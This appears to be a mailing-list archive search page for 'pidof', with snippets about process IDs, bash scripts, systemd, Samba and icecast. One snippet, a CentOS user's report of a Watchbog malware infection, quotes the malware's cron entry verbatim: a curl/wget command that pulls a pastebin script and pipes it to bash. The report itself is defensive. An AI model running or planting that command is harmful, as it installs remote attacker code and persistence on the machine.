search for: pidof

Displaying 20 results from an estimated 174 matches for "pidof".

2013 Jul 22
1
Bug#717575: xcp-storage-managers: Wrong path of pidof in /usr/lib/xcp/sm/iscsilib.py
Package: xcp-storage-managers Version: 0.1.1-3 Severity: normal This was already reported in the archived bug 691805 but I sent an e-mail and I received back permanent delivery failure because this bugs has been archieved. Still the path of "pidof" in the file /usr/lib/xcp/sm/iscsilib.py is wrong on Wheezy. It should be /bin/pidof instead of /sbin/pidof root at xcpcompute2:~# cat /usr/lib/xcp/sm/iscsilib.py | grep pidof cmd = ["/sbin/pidof", "-s", "/usr/sbin/iscsid"] root at xcpcompute2:~# whereis pid...
2004 Aug 06
5
capturing pid from command line
On Mon, 2003-11-03 at 21:53, Dave St John wrote: > Anyone know of or how to capture the pid via the command line in bash? pidof ??? $ pidof httpd 827 825 824 788 -- Drew <p>--- >8 ---- List archives: http://www.xiph.org/archives/ icecast project homepage: http://www.icecast.org/ To unsubscribe from this list, send a message to 'icecast-request@xiph.org' containing only the word 'unsubscribe' in...
2015 Apr 20
1
bash script fails conditional test
> > You can probably replace that with a much cleaner pid=$(pidof cassandra). Good to know! I hadn't heard of pidof before. However this is what I get when I run it: [root at web1:~] #pidof cassandra [root at web1:~] # Returns nothing. However: [root at web1:~] #pidof java 27210 11418 10852 Gives me a few pids. Only one of which belongs to cassandra, as...
2019 Nov 21
3
Issue with "ExecStartPost" attribute in systemd daemon faile
...I have added lines "Restart=on-failure", "RestartSec=10s" and " ExecStartPost=/bin/sh -c "/etc/systemd/system/test.sh"" to the original crond.service daemon file. Then, I run "systemctl daemon-reconfigure" and, from one console, I run "kill -9 `pidof cron`" for restarting crond daemon. After it, I receive an email... But now, if I run again ""kill -9 `pidof cron`", I don't receive any mail... I have notice that if I run "systemctl daemon-reload" and then kill crond process, mail is sent perfectly... but if I do...
2015 Apr 20
4
bash script fails conditional test
> > "-e" means "if file exists". You should use "-n" That did it!! [root at web1:~] #./bin/check-cass.sh Cassandra is running with pid: 26979 This is what the script looks like now: #!/bin/bash pid=$(ps -ef | grep cassandra | grep -v grep | grep -i -v -e grep -e screen -e s3fs|awk '{print $2}') if [[ -n $pid ]] then echo "Cassandra is
2004 Aug 06
4
REQ: Parent Id
Before the official release of icecast2 1.0 (non beta) i would like to see pid file management, ive discussed this before on how to capture the pid, but ended up with alot of bash rigamaroo that mounted to even more headaches. omething in the config file like <pid>/path/to/icecast.pid</pid> I would be willing to donate some bandwidth to xiph, to aleaviate this issue that causes sever
2004 Aug 06
4
REQ: Parent Id
...to even more > > headaches. > > If I understand you correctly, all you want is the PID of the Icecast > process and not of its children (probably to be able to script, send > signals to the right process, etc.) > > Well, I'm using OpenBSD mostly, and there's no "pidof" or "killall" here > ... if I need to script something, I use the following which can be > considered ``safe''. (The function is what's doing the job, the rest is > just how I use it stand-alone sometimes). Simple, but effective - no > insane greppery, no conf...
2007 Dec 11
12
puppet seems to be restarting itself very often
I turned on reporting the other day and I''m seeing alot of these when puppet runs. Especially during times when nothing is going on (middle of the night etc) Tue Dec 11 12:34:48 -0500 2007 //base/puppet/puppet::client/Service[puppet]/ensure (notice): ensure changed ''stopped'' to ''running'' It''s also quite odd that puppet when it runs it thinks
2008 Jan 04
4
Help with custom class.
Here is my class class puppetconf { file { "/etc/puppet/puppetd.conf": mode => 644, owner => root, group => root, source => "puppet://puppet/cci/etc/puppet/puppetd.conf", notify => exec[puppet_restart] } file { "/etc/init.d/puppet": mode => 755, owner => root, group => root,
2014 Jul 20
1
Lots of NMBD zombie processes
Hello, I am running a Samba 4 DC, recently upgraded to the latest version and I have just installed a member server to run as a File Server (Samba 4.1.9). While it seems to be working properly, we are getting a lot of zombie nmbd processes on the member server, running the command *pidof nmbd* results in: *[root at BHFS01 etc]# pidof nmbd* *12861 12644 12404 12236 12071 11885 11720 11553 11388 11201 11036 10869 10704 10518 10353 10186 10020 9834 9669 9502 9337 9151 8985 8818 8653 8467 8302 8135 7970 7783 7618 7234 7069 6878 6713 6545 6380 6189 6024 5857 5692 5496 5330 5163 4998 47...
2004 Aug 06
0
REQ: Parent Id
...; of bash rigamaroo that mounted to even more > headaches. If I understand you correctly, all you want is the PID of the Icecast process and not of its children (probably to be able to script, send signals to the right process, etc.) Well, I'm using OpenBSD mostly, and there's no "pidof" or "killall" here ... if I need to script something, I use the following which can be considered ``safe''. (The function is what's doing the job, the rest is just how I use it stand-alone sometimes). Simple, but effective - no insane greppery, no conflicts with additiona...
2012 Oct 30
0
Bug#691805: Another correction
The path of 'pidof' binary is also incorrect. Needed to change it from /sbin/pidof to /bin/pidof I believe it is not necessary to open a new bug report... Leonardo Bruno -------------- next part -------------- An HTML attachment was scrubbed... URL: <http://lists.alioth.debian.org/pipermail/pkg-xen-devel/att...
2016 Sep 28
3
Multichannel working at half speed with 2x NICs
Sorry for the delay Jeremy. I ran strace on the lowest pid for smbd (I ran "pidof smbd" to get pids, and used the lowest one of the 4 or so that came up). Command was "strace -f -o strace.log `ls /proc/2019/task/ | xargs -n 1 echo -n " -p`". I then copied a 1.3GB file from the server to my client to generate traffic. The resulting file was around 93k lines (...
2009 Jul 27
5
Asterisk core dumps files
Hello all! Im running asterisk 1.4.23 and sometimes it crashes. Because I need to look for what asterisk crashes I run asterisk with option '-g' for debugging purpose. When I search for core files in filesystem nothing happend and I have not generated core files. Which is the way to know if asterisk are generating core dump files? And Which is the directory where it saves them? Is
2019 Nov 22
1
Issue with "ExecStartPost" attribute in systemd daemon faile
...shot ExecStart=/etc/systemd/system/mail-notification.sh * /etc/systemd/system/mail-notification.sh * #!/bin/bash echo "Crond restarted" | /usr/bin/mailx -s "Crond failure notification" myemail at mydomain After "systemctl daemon-reload" and "kill -9 `pidof crond`", message log are: Nov 22 11:04:36 mysystem systemd: crond.service: main process exited, code=killed, status=9/KILL Nov 22 11:04:36 mysystem systemd: Unit crond.service entered failed state. Nov 22 11:04:36 mysystem systemd: Triggering OnFailure= dependencies of crond.service. Nov 22 11...
2015 Jun 26
1
Asterisk 13 logging to two places
...Type Status Configuration ------- ---- ------ ------------- syslog.local0 Syslog Enabled - WARNING ERROR VERBOSE This may be a bit off the wall, but any chance the script that starts Asterisk is piping to logger? Does 'pidof logger' show anything? -- Thanks in advance, ------------------------------------------------------------------------- Steve Edwards sedwards at sedwards.com Voice: +1-760-468-3867 PST Newline Fax: +1-760-731-3000
2004 Aug 06
0
REQ: Parent Id
...es. > > > > If I understand you correctly, all you want is the PID of the Icecast > > process and not of its children (probably to be able to script, send > > signals to the right process, etc.) > > > > Well, I'm using OpenBSD mostly, and there's no "pidof" or "killall" here > > ... if I need to script something, I use the following which can be > > considered ``safe''. (The function is what's doing the job, the rest is > > just how I use it stand-alone sometimes). Simple, but effective - no > > insa...
2004 Aug 06
2
capturing pid from command line
...4, 2003 4:51 AM Subject: Re: [icecast] capturing pid from command line <p>> On Tue, 2003-11-04 at 07:13, Drew Bertola wrote: > > On Mon, 2003-11-03 at 21:53, Dave St John wrote: > > > Anyone know of or how to capture the pid via the command line in bash? > > > > pidof ??? > > > > $ pidof httpd > > 827 825 824 788 > > pidof is ok if there is only on instance of the process, else try something > along the lines of using a wrapper script > > icecast -c /path/icecast.xml & > echo $! > > > > karl. > > --- >...
2018 Dec 15
7
CentOS 7.5 Linux box got infected with Watchbog malware
...carry out the below steps and is done manually. 1)rm -fr /tmp/*timesyncc.service* 2)crontab -e -u apigee delete the cron entry */1 * * * * (curl -fsSL https://pastebin.com/raw/aGTSGJJp||wget -q -O- https://pastebin.com/raw/aGTSGJJp)|bash > /dev/null 2>&1 3)ps aux | grep watchbog kill -9 pidof watchbog Any suggestions or recommendations to find out how CentOS 7.5 Linux box got infected with Watchbog Malware. Is there any open source software which can be installed on CentOS 7.5 Linux box to detect and prevent Malware? Thanks in Advance. Best Regards, Kaushal
2020 Jan 06
4
Upgrade 2.2.27 to 2.3.9.2: master(imap): net_connect_unix(imap) failed: Resource temporarily unavailable
...alue as the process_limit for imap service. System CPU usage does not appear to be saturated. The CPU usage sits at around 50% when these errors appear. We have doubled the number of file descriptors after upgrading from 2.2.27. It was previously set to 16392 (which worked fine): ~# cat /proc/`pidof dovecot`/limits | grep "open files" Max open files 30000 30000 files We have tried increasing default_process_limit and default_client_limit from the default 1000 to 3000, but this has no effect. Current configuration (with irrelevant parts remo...